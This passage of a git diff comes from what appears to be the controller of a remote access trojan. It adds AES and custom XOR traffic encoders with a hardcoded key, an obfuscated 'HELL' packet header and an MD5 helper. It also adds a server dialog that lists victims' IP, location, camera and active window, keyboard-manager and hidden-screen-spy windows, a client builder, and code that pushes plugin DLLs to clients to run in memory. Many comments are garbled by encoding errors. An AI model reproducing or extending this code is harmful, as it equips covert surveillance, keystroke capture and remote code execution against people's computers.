xtime(xtime(x))) ^ \ + ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ + ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ + +#endif + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +/* +static uint8_t getSBoxInvert(uint8_t num) +{ + return rsbox[num]; +} +*/ +#define getSBoxInvert(num) (rsbox[(num)]) + +// MixColumns function mixes the columns of the state matrix. +// The method used to multiply may be difficult to understand for the inexperienced. +// Please use the references to gain more information. +static void InvMixColumns(state_t* state) +{ + int i; + uint8_t a, b, c, d; + for (i = 0; i < 4; ++i) + { + a = (*state)[i][0]; + b = (*state)[i][1]; + c = (*state)[i][2]; + d = (*state)[i][3]; + + (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); + (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); + (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); + (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); + } +} + + +// The SubBytes Function Substitutes the values in the +// state matrix with values in an S-box. +static void InvSubBytes(state_t* state) +{ + uint8_t i, j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[j][i] = getSBoxInvert((*state)[j][i]); + } + } +} + +static void InvShiftRows(state_t* state) +{ + uint8_t temp; + + // Rotate first row 1 columns to right + temp = (*state)[3][1]; + (*state)[3][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[0][1]; + (*state)[0][1] = temp; + + // Rotate second row 2 columns to right + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; + + temp = (*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; + + // Rotate third row 3 columns to right + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[1][3]; + (*state)[1][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[3][3]; + (*state)[3][3] = temp; +} +#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) + +// Cipher is the main function that encrypts the PlainText. +static void Cipher(state_t* state, const uint8_t* RoundKey) +{ + uint8_t round = 0; + + // Add the First round key to the state before starting the rounds. + AddRoundKey(0, state, RoundKey); + + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without MixColumns() + for (round = 1; ; ++round) + { + SubBytes(state); + ShiftRows(state); + if (round == Nr) { + break; + } + MixColumns(state); + AddRoundKey(round, state, RoundKey); + } + // Add round key to last round + AddRoundKey(Nr, state, RoundKey); +} + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +static void InvCipher(state_t* state, const uint8_t* RoundKey) +{ + uint8_t round = 0; + + // Add the First round key to the state before starting the rounds. + AddRoundKey(Nr, state, RoundKey); + + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without InvMixColumn() + for (round = (Nr - 1); ; --round) + { + InvShiftRows(state); + InvSubBytes(state); + AddRoundKey(round, state, RoundKey); + if (round == 0) { + break; + } + InvMixColumns(state); + } + +} +#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) + +/*****************************************************************************/ +/* Public functions: */ +/*****************************************************************************/ +#if defined(ECB) && (ECB == 1) + + +void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) +{ + // The next function call encrypts the PlainText with the Key using AES algorithm. + Cipher((state_t*)buf, ctx->RoundKey); +} + +void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) +{ + // The next function call decrypts the PlainText with the Key using AES algorithm. + InvCipher((state_t*)buf, ctx->RoundKey); +} + + +#endif // #if defined(ECB) && (ECB == 1) + + + + + +#if defined(CBC) && (CBC == 1) + + +static void XorWithIv(uint8_t* buf, const uint8_t* Iv) +{ + uint8_t i; + for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size + { + buf[i] ^= Iv[i]; + } +} + +void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length) +{ + size_t i; + uint8_t *Iv = ctx->Iv; + for (i = 0; i < length; i += AES_BLOCKLEN) + { + XorWithIv(buf, Iv); + Cipher((state_t*)buf, ctx->RoundKey); + Iv = buf; + buf += AES_BLOCKLEN; + } + /* store Iv in ctx for next call */ + memcpy(ctx->Iv, Iv, AES_BLOCKLEN); +} + +void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) +{ + size_t i; + uint8_t storeNextIv[AES_BLOCKLEN]; + for (i = 0; i < length; i += AES_BLOCKLEN) + { + memcpy(storeNextIv, buf, AES_BLOCKLEN); + InvCipher((state_t*)buf, ctx->RoundKey); + XorWithIv(buf, ctx->Iv); + memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); + buf += AES_BLOCKLEN; + } + +} + +#endif // #if defined(CBC) && (CBC == 1) + + + +#if defined(CTR) && (CTR == 1) + +/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ +void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) +{ + uint8_t buffer[AES_BLOCKLEN]; + + size_t i; + int bi; + for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) + { + if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ + { + + memcpy(buffer, ctx->Iv, AES_BLOCKLEN); + Cipher((state_t*)buffer,ctx->RoundKey); + + /* Increment Iv and handle overflow */ + for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) + { + /* inc will overflow */ + if (ctx->Iv[bi] == 255) + { + ctx->Iv[bi] = 0; + continue; + } + ctx->Iv[bi] += 1; + break; + } + bi = 0; + } + + buf[i] = (buf[i] ^ buffer[bi]); + } +} + +#endif // #if defined(CTR) && (CTR == 1) + diff --git a/common/aes.h b/common/aes.h new file mode 100644 index 0000000..b29b668 --- /dev/null +++ b/common/aes.h @@ -0,0 +1,91 @@ +#ifndef _AES_H_ +#define _AES_H_ + +#include +#include + +// #define the macros below to 1/0 to enable/disable the mode of operation. +// +// CBC enables AES encryption in CBC-mode of operation. +// CTR enables encryption in counter-mode. +// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. + +// The #ifndef-guard allows it to be configured before #include'ing or at compile time. +#ifndef CBC + #define CBC 1 +#endif + +#ifndef ECB + #define ECB 1 +#endif + +#ifndef CTR + #define CTR 1 +#endif + + +#define AES128 1 +//#define AES192 1 +//#define AES256 1 + +#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only + +#if defined(AES256) && (AES256 == 1) + #define AES_KEYLEN 32 + #define AES_keyExpSize 240 +#elif defined(AES192) && (AES192 == 1) + #define AES_KEYLEN 24 + #define AES_keyExpSize 208 +#else + #define AES_KEYLEN 16 // Key length in bytes + #define AES_keyExpSize 176 +#endif + +struct AES_ctx +{ + uint8_t RoundKey[AES_keyExpSize]; +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) + uint8_t Iv[AES_BLOCKLEN]; +#endif +}; + +void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); +void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); +#endif + +#if defined(ECB) && (ECB == 1) +// buffer size is exactly AES_BLOCKLEN bytes; +// you need only AES_init_ctx as IV is not used in ECB +// NB: ECB is considered insecure for most uses +void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); +void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); + +#endif // #if defined(ECB) && (ECB == !) + + +#if defined(CBC) && (CBC == 1) +// buffer size MUST be mutile of AES_BLOCKLEN; +// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme +// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() +// no IV should ever be reused with the same key +void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); +void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); + +#endif // #if defined(CBC) && (CBC == 1) + + +#if defined(CTR) && (CTR == 1) + +// Same function for encrypting as for decrypting. +// IV is incremented for every block, and used after encryption as XOR-compliment for output +// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme +// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() +// no IV should ever be reused with the same key +void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); + +#endif // #if defined(CTR) && (CTR == 1) + + +#endif // _AES_H_ diff --git a/common/encrypt.h b/common/encrypt.h new file mode 100644 index 0000000..261e868 --- /dev/null +++ b/common/encrypt.h @@ -0,0 +1,124 @@ +#pragma once +// This file implements a serial of data encoding methods. +#include +extern "C" { +#include "aes.h" +} + +#define ALIGN16(n) ( (( (n) + 15) / 16) * 16 ) + +// Encoder interface. The default encoder will do nothing. +class Encoder { +public: + virtual ~Encoder() {} + // Encode data before compress. + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} + // Decode data after uncompress. + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} +}; + +// XOR Encoder implementation. +class XOREncoder : public Encoder { +private: + std::vector Keys; + +public: + XOREncoder(const std::vector& keys = { 0 }) : Keys(keys) {} + + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) { + XOR(data, len, Keys); + } + + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) { + static std::vector reversed(Keys.rbegin(), Keys.rend()); + XOR(data, len, reversed); + } + +protected: + void XOR(unsigned char* data, int len, const std::vector& keys) const { + for (char key : keys) { + for (int i = 0; i < len; ++i) { + data[i] ^= key; + } + } + } +}; + +// XOREncoder16 A simple Encoder for the TCP body. It's using for `HELL` protocol. +// This method is provided by ChatGPT. Encode data according to the 6th and 7th elem. +class XOREncoder16 : public Encoder { +private: + static uint16_t pseudo_random(uint16_t seed, int index) { + return ((seed ^ (index * 251 + 97)) * 733) ^ (seed >> 3); + } + + void encrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const { + uint16_t key = ((k1 << 8) | k2); + for (int i = 0; i < len; ++i) { + data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); + } + + // Two rounds of pseudo-random swaps + for (int round = 0; round < 2; ++round) { + for (int i = 0; i < len; ++i) { + int j = pseudo_random(key, i + round * 100) % len; + std::swap(data[i], data[j]); + } + } + } + + void decrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const { + uint16_t key = ((k1 << 8) | k2); + for (int round = 1; round >= 0; --round) { + for (int i = len - 1; i >= 0; --i) { + int j = pseudo_random(key, i + round * 100) % len; + std::swap(data[i], data[j]); + } + } + + for (int i = 0; i < len; ++i) { + data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); + } + } + +#ifndef NO_AES + void aes_encrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) { + if (!data || !key || !iv || len <= 0 || len % 16 != 0) { + return; // AES CBC requires data length to be multiple of 16 + } + + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, key, iv); + AES_CBC_encrypt_buffer(&ctx, data, len); + } + + void aes_decrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) { + if (!data || !key || !iv || len <= 0 || len % 16 != 0) + return; + + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, key, iv); + AES_CBC_decrypt_buffer(&ctx, data, len); + } +#endif + +public: + XOREncoder16() {} + + void Encode(unsigned char* data, int len, unsigned char* param) override { + if (param[6] == 0 && param[7] == 0) return; + if (param[7] == 1) { +#ifndef NO_AES + static const unsigned char aes_key[16] = { + 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 }; + return aes_encrypt(data, len, aes_key, param + 8); +#endif + } + encrypt_internal(data, len, param[6], param[7]); + } + + void Decode(unsigned char* data, int len, unsigned char* param) override { + if (param[6] == 0 && param[7] == 0) return; + decrypt_internal(data, len, param[6], param[7]); + } +}; diff --git a/common/header.h b/common/header.h new file mode 100644 index 0000000..b8fa884 --- /dev/null +++ b/common/header.h @@ -0,0 +1,172 @@ +#pragma once +// This file implements a serial of data header encoding methods. +#include +#include + +#define MSG_HEADER "HELL" + +enum HeaderEncType { + HeaderEncUnknown = -1, + HeaderEncNone, + HeaderEncV1, +}; + +// ݱʽʶ + 󳤶(4ֽ) + 󳤶(4ֽ) +const int FLAG_COMPLEN = 4; +const int FLAG_LENGTH = 8; +const int HDR_LENGTH = FLAG_LENGTH + 2 * sizeof(unsigned int); +const int MIN_COMLEN = 8; + +typedef void (*EncFun)(unsigned char* data, size_t length, unsigned char key); +typedef void (*DecFun)(unsigned char* data, size_t length, unsigned char key); +inline void default_encrypt(unsigned char* data, size_t length, unsigned char key) { + data[FLAG_LENGTH - 2] = data[FLAG_LENGTH - 1] = 0; +} +inline void default_decrypt(unsigned char* data, size_t length, unsigned char key) { +} + +// ܺ +inline void encrypt(unsigned char* data, size_t length, unsigned char key) { + if (key == 0) return; + for (size_t i = 0; i < length; ++i) { + unsigned char k = static_cast(key ^ (i * 31)); // ̬Ŷ key + int value = static_cast(data[i]); + switch (i % 4) { + case 0: + value += k; + break; + case 1: + value = value ^ k; + break; + case 2: + value -= k; + break; + case 3: + value = ~(value ^ k); // ಽ任ȡ + break; + } + data[i] = static_cast(value & 0xFF); + } +} + +// ܺ +inline void decrypt(unsigned char* data, size_t length, unsigned char key) { + if (key == 0) return; + for (size_t i = 0; i < length; ++i) { + unsigned char k = static_cast(key ^ (i * 31)); + int value = static_cast(data[i]); + switch (i % 4) { + case 0: + value -= k; + break; + case 1: + value = value ^ k; + break; + case 2: + value += k; + break; + case 3: + value = ~(value) ^ k; // ⿪ȡ + break; + } + data[i] = static_cast(value & 0xFF); + } +} + +inline EncFun GetHeaderEncoder(HeaderEncType type) { + switch (type) + { + case HeaderEncNone: + return default_encrypt; + case HeaderEncV1: + return encrypt; + default: + return NULL; + } +} + +typedef struct HeaderFlag { + char Data[FLAG_LENGTH + 1]; + HeaderFlag(const char header[FLAG_LENGTH + 1]) { + memcpy(Data, header, sizeof(Data)); + } + char& operator[](int i) { + return Data[i]; + } + const char operator[](int i) const { + return Data[i]; + } + const char* data() const { + return Data; + } +}HeaderFlag; + +// дݰͷ +inline HeaderFlag GetHead(EncFun enc) { + char header[FLAG_LENGTH + 1] = { 'H','E','L','L', 0 }; + HeaderFlag H(header); + unsigned char key = time(0) % 256; + H[FLAG_LENGTH - 2] = key; + H[FLAG_LENGTH - 1] = ~key; + enc((unsigned char*)H.data(), FLAG_COMPLEN, H[FLAG_LENGTH - 2]); + return H; +} + +enum FlagType { + FLAG_UNKNOWN = 0, + FLAG_SHINE = 1, + FLAG_FUCK = 2, + FLAG_HELLO = 3, + FLAG_HELL = 4, +}; + +inline int compare(const char *flag, const char *magic, int len, DecFun dec, unsigned char key){ + unsigned char buf[32] = {}; + memcpy(buf, flag, MIN_COMLEN); + dec(buf, len, key); + if (memcmp(buf, magic, len) == 0) { + memcpy((void*)flag, buf, MIN_COMLEN); + return 0; + } + return -1; +} + +// ȶݰǰֽ +// ָĽܺȶݰͷнܣбȶ +inline FlagType CheckHead(const char* flag, DecFun dec) { + FlagType type = FLAG_UNKNOWN; + if (compare(flag, skCrypt(MSG_HEADER), FLAG_COMPLEN, dec, flag[6]) == 0) { + type = FLAG_HELL; + } + else if (compare(flag, skCrypt("Shine"), 5, dec, 0) == 0) { + type = FLAG_SHINE; + } + else if (compare(flag, skCrypt("<>"), 8, dec, 0) == 0) { + type = FLAG_FUCK; + } + else if (compare(flag, skCrypt("Hello?"), 6, dec, flag[6]) == 0) { + type = FLAG_HELLO; + } + else { + type = FLAG_UNKNOWN; + } + return type; +} + +// ҪԶַԱܼϰ汾ͨѶЭ +inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) { + static const DecFun methods[] = { default_decrypt, decrypt }; + static const int methodNum = sizeof(methods) / sizeof(DecFun); + char buffer[FLAG_LENGTH + 1] = {}; + for (int i = 0; i < methodNum; ++i) { + memcpy(buffer, flag, FLAG_LENGTH); + FlagType type = CheckHead(buffer, methods[i]); + if (type != FLAG_UNKNOWN) { + memcpy(flag, buffer, FLAG_LENGTH); + funcHit = HeaderEncType(i); + return type; + } + } + funcHit = HeaderEncUnknown; + return FLAG_UNKNOWN; +} diff --git a/common/md5.h b/common/md5.h new file mode 100644 index 0000000..1a310ba --- /dev/null +++ b/common/md5.h @@ -0,0 +1,42 @@ +#pragma once + +#include + +inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) { + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + BYTE hash[16]; // MD5 16 ֽ + DWORD hashLen = sizeof(hash); + std::ostringstream oss; + + if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + return ""; + } + + if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) { + CryptReleaseContext(hProv, 0); + return ""; + } + + if (!CryptHashData(hHash, data, length, 0)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return ""; + } + + if (!CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return ""; + } + + // תΪʮַ + for (DWORD i = 0; i < hashLen; ++i) { + oss << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i]; + } + + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + + return oss.str(); +} diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index aac4eb6..d991a02 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -66,6 +66,8 @@ CMy2015RemoteApp::CMy2015RemoteApp() m_Mutex = NULL; m_iocpServer = new IOCPServer(); + + srand(static_cast(time(0))); } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index afb12a80ecc179eabeef0b7bde5e7ea54b1598df..debc7f8e55b2a728a96e3e7fa460d55cc04b8901 100644 GIT binary patch delta 2626 zcmZ`*ZA@Eb6n@D{SLjMR3XH8#N((YFMtg7R2Ovsi9ZaBw_98NY77*A6-{>N7&P`Fs zHk{%7GBGYBYWzi5mMk%vx%kgyiR_=hlqF`GOdTW!llfzw^S-^@vdlCs?R}qf&U2pg z@v{1O&-@R%wV$lZW`jA-nplj5@fBfl)&m1~4}vA z=3-t=5;pzWnPK)SQ@|W?8H3Ens+fZXSP(*iR#+Q8m;29P@zP)Cx)Mj(`n9&jca&cv z(9t{s$p(Lx#5@T1F&S2dy78Bn|MEh{>-GBUaWaC9W@na{Nq8VJ2{KCD`nB2Af!!=~ z3z_+~V;v8$(QG$+kwq1gSul0Dm29w*pBf&N&b;`N;C{zIzP$5X=CQOBq9iQ5_*b*3 zg!NMe#x(h1(o<^oqi>4g;JyQ>fds2X1+ZF}o7K*utP6`2hVKeTVWa3UTuu57CqMjU zFxuPIkDBy@r?TL{t{Sieuh?-Gg(vkclb@&Lz@!35JQVl>zE3(~Rm#io!1S?bR)ABK znGbG^+hC&J1K&38Gm@^Pkox@2q!W_cI-N<`oP&*6(ejkeNb-_UC>n&^Uc(C`b#uGV zYtVk@T=(P9<~7Y$@IvXx*8C_wI@q?jFuWakv^1Y^LT5oqRxS7LOL=!IU&Y=&f2BL+ z!9>x$tXA{S`Q4hyNTwtFJPTrY<4jYD&?$m_-Hu<|_07cmqnT7Wz6XU`p15XG}RN zu*Xo#IO||-Xw!ppu-j4;Sy*~ubyW7LR$;WFDLa9-3Vue>R*mOZ<8gIJ;r*>{_^c%d z8Y}iewUPt3!~4iv`Ej&tL#7=VSHVdXIn$@;dl_pNfJA3`inS9aTs0LjY?%n_=8P#O zjThmmRx&ml{q`~sNV08j8_!RHNx2(xN}RCme$J*~L>x{;skTBznz=29S4WkApIZ)L z+bI|%#-S=94-#4#s@L^)44x%WK7pc`K^1B(I!cASH`3cdkb{&S?{WmGMJ1xb({C64 zyg;y$Caxl>89_MJk3iI6J76d)wYyYT^ppk*6~=Fr4Sh<~@9;^f4Hj?Z!c>LMn6~F& z+~YC_ktvO^1CiLJsevqlyM-s!5rnI4pEgtSFCor}wWe*S;AR}es!y^B+ocd~9=GBaJ#0=KdV>4hZWeHL;3T+I=N4%q7gu@&jf*fzae;w8DZ63b(@hsa z%BNT#s!y&$rK&=LUy-zbX&hA2!h%SXCVZb;#brtZ8pd}B1!?7rSF9BWrWVw0Hlr=} zxPRqJZtUO43fw!K080T+S5FlZwD3+N`H?+Hb}Q|H5|tD^CAHM8MK}p@*Td}wbQm)! zDHqhZyIho}uP#x0amR^bq?`cuipIpTmmq08DrhgHZzGkB=-OSb^u5u{i-HYaChDcV zlTtYiT`M|^@erZ~#JF;GwZ!yvZR|J_H%b~OSNgURZp6*C+szSbUmb~0&0DI~OqCQB z;L>6nQfzQf=Y!+?+Rd>yr;6d?g*@D2Y5(V_cPxZ1pM~{HEtzCq3!#N0PyN?)Z|Q?Q zxT7HSZl8wPpWd&0l2d-lAhKY8WpF delta 43 zcmV+`0M!44$po(Y1F+Z=mn;kcu(K!@G+?ukmLMLJVBiX~hPV(}laQ9MxBL?Uh!CAC B60-mR diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 722af8b..8211b13 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1,5 +1,5 @@ - -// 2015RemoteDlg.cpp : ʵļ + +// 2015RemoteDlg.cpp : 实现文件 // #include "stdafx.h" @@ -29,7 +29,10 @@ #include #include "common/skCrypter.h" #include "common/commands.h" +#include "common/md5.h" #include +#include "HideScreenSpyDlg.h" +#include #ifdef _DEBUG #define new DEBUG_NEW @@ -44,37 +47,37 @@ typedef struct { - const char* szTitle; //б - int nWidth; //бĿ + const char* szTitle; //列表的名称 + int nWidth; //列表的宽度 }COLUMNSTRUCT; -const int g_Column_Count_Online = ONLINELIST_MAX; // +const int g_Column_Count_Online = ONLINELIST_MAX; // 报表的列数 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { {"IP", 130 }, - {"˿", 60 }, - {"λ", 130 }, - {"/ע", 150 }, - {"ϵͳ", 120 }, + {"端口", 60 }, + {"地理位置", 130 }, + {"计算机名/备注", 150 }, + {"操作系统", 120 }, {"CPU", 80 }, - {"ͷ", 70 }, + {"摄像头", 70 }, {"PING", 70 }, - {"汾", 90 }, - {"װʱ", 120 }, - {"", 140 }, - {"", 50 }, + {"版本", 90 }, + {"安装时间", 120 }, + {"活动窗口", 140 }, + {"类型", 50 }, }; -// Ӧó򡰹ڡ˵ CAboutDlg Ի +// 用于应用程序“关于”菜单项的 CAboutDlg 对话框 -const int g_Column_Count_Message = 3; // бĸ +const int g_Column_Count_Message = 3; // 列表的个数 COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] = { - {"Ϣ", 200 }, - {"ʱ", 200 }, - {"Ϣ", 490 } + {"信息类型", 200 }, + {"时间", 200 }, + {"信息内容", 490 } }; int g_Column_Online_Width = 0; @@ -89,16 +92,16 @@ static UINT Indicators[] = ////////////////////////////////////////////////////////////////////////// -// unordered_map ļ +// 保存 unordered_map 到文件 void SaveToFile(const ComputerNoteMap& data, const std::string& filename) { - std::ofstream outFile(filename, std::ios::binary); // ļԶģʽ + std::ofstream outFile(filename, std::ios::binary); // 打开文件(以二进制模式) if (outFile.is_open()) { for (const auto& pair : data) { - outFile.write(reinterpret_cast(&pair.first), sizeof(ClientKey)); // key + outFile.write(reinterpret_cast(&pair.first), sizeof(ClientKey)); // 保存 key int valueSize = pair.second.GetLength(); - outFile.write(reinterpret_cast(&valueSize), sizeof(int)); // value ĴС - outFile.write((char*)&pair.second, valueSize); // value ַ + outFile.write(reinterpret_cast(&valueSize), sizeof(int)); // 保存 value 的大小 + outFile.write((char*)&pair.second, valueSize); // 保存 value 字符串 } outFile.close(); } @@ -107,22 +110,22 @@ void SaveToFile(const ComputerNoteMap& data, const std::string& filename) } } -// ļȡ unordered_map +// 从文件读取 unordered_map 数据 void LoadFromFile(ComputerNoteMap& data, const std::string& filename) { - std::ifstream inFile(filename, std::ios::binary); // ļԶģʽ + std::ifstream inFile(filename, std::ios::binary); // 打开文件(以二进制模式) if (inFile.is_open()) { while (inFile.peek() != EOF) { ClientKey key; - inFile.read(reinterpret_cast(&key), sizeof(ClientKey)); // ȡ key + inFile.read(reinterpret_cast(&key), sizeof(ClientKey)); // 读取 key int valueSize; - inFile.read(reinterpret_cast(&valueSize), sizeof(int)); // ȡ value ĴС + inFile.read(reinterpret_cast(&valueSize), sizeof(int)); // 读取 value 的大小 ClientValue value; - inFile.read((char*)&value, valueSize); // ȡ value ַ + inFile.read((char*)&value, valueSize); // 读取 value 字符串 - data[key] = value; // 뵽 map + data[key] = value; // 插入到 map 中 } inFile.close(); } @@ -138,13 +141,13 @@ class CAboutDlg : public CDialogEx public: CAboutDlg(); - // Ի + // 对话框数据 enum { IDD = IDD_ABOUTBOX }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - // ʵ + // 实现 protected: DECLARE_MESSAGE_MAP() }; @@ -162,7 +165,7 @@ BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx) END_MESSAGE_MAP() -// CMy2015RemoteDlg Ի +// CMy2015RemoteDlg 对话框 std::string GetFileName(const char* filepath) { const char* slash1 = strrchr(filepath, '/'); @@ -190,34 +193,34 @@ bool IsDll64Bit(BYTE* dllBase) { return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC; } -// أȡָֽ루Ҫֶͷţ +// 返回:读取的字节数组指针(需要手动释放) DllInfo* ReadPluginDll(const std::string& filename) { - // ļԶģʽ + // 打开文件(以二进制模式) std::ifstream file(filename, std::ios::binary | std::ios::ate); std::string name = GetFileName(filename.c_str()); if (!file.is_open() || name.length() >= 32) { - Mprintf("޷ļ: %s\n", filename.c_str()); + Mprintf("无法打开文件: %s\n", filename.c_str()); return nullptr; } - // ȡļС + // 获取文件大小 std::streamsize fileSize = file.tellg(); file.seekg(0, std::ios::beg); - // 仺: CMD + DllExecuteInfo + size + // 分配缓冲区: CMD + DllExecuteInfo + size BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize]; if (!file.read(reinterpret_cast(buffer + 1 + sizeof(DllExecuteInfo)), fileSize)) { - Mprintf("ȡļʧ: %s\n", filename.c_str()); + Mprintf("读取文件失败: %s\n", filename.c_str()); delete[] buffer; return nullptr; } if (!IsDll64Bit(buffer + 1 + sizeof(DllExecuteInfo))) { - Mprintf("֧32λDLL: %s\n", filename.c_str()); + Mprintf("不支持32位DLL: %s\n", filename.c_str()); delete[] buffer; return nullptr; } - // + // 设置输出参数 DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, }; memcpy(info.Name, name.c_str(), name.length()); buffer[0] = CMD_EXECUTE_DLL; @@ -235,7 +238,7 @@ std::vector ReadAllDllFilesWindows(const std::string& dirPath) { HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData); if (hFind == INVALID_HANDLE_VALUE) { - Mprintf("޷Ŀ¼: %s\n", dirPath.c_str()); + Mprintf("无法打开目录: %s\n", dirPath.c_str()); return result; } @@ -329,7 +332,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager) ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager) ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager) - ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //Client + ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //生成Client ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify) ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow) ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit) @@ -349,6 +352,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog) + ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog) + ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, 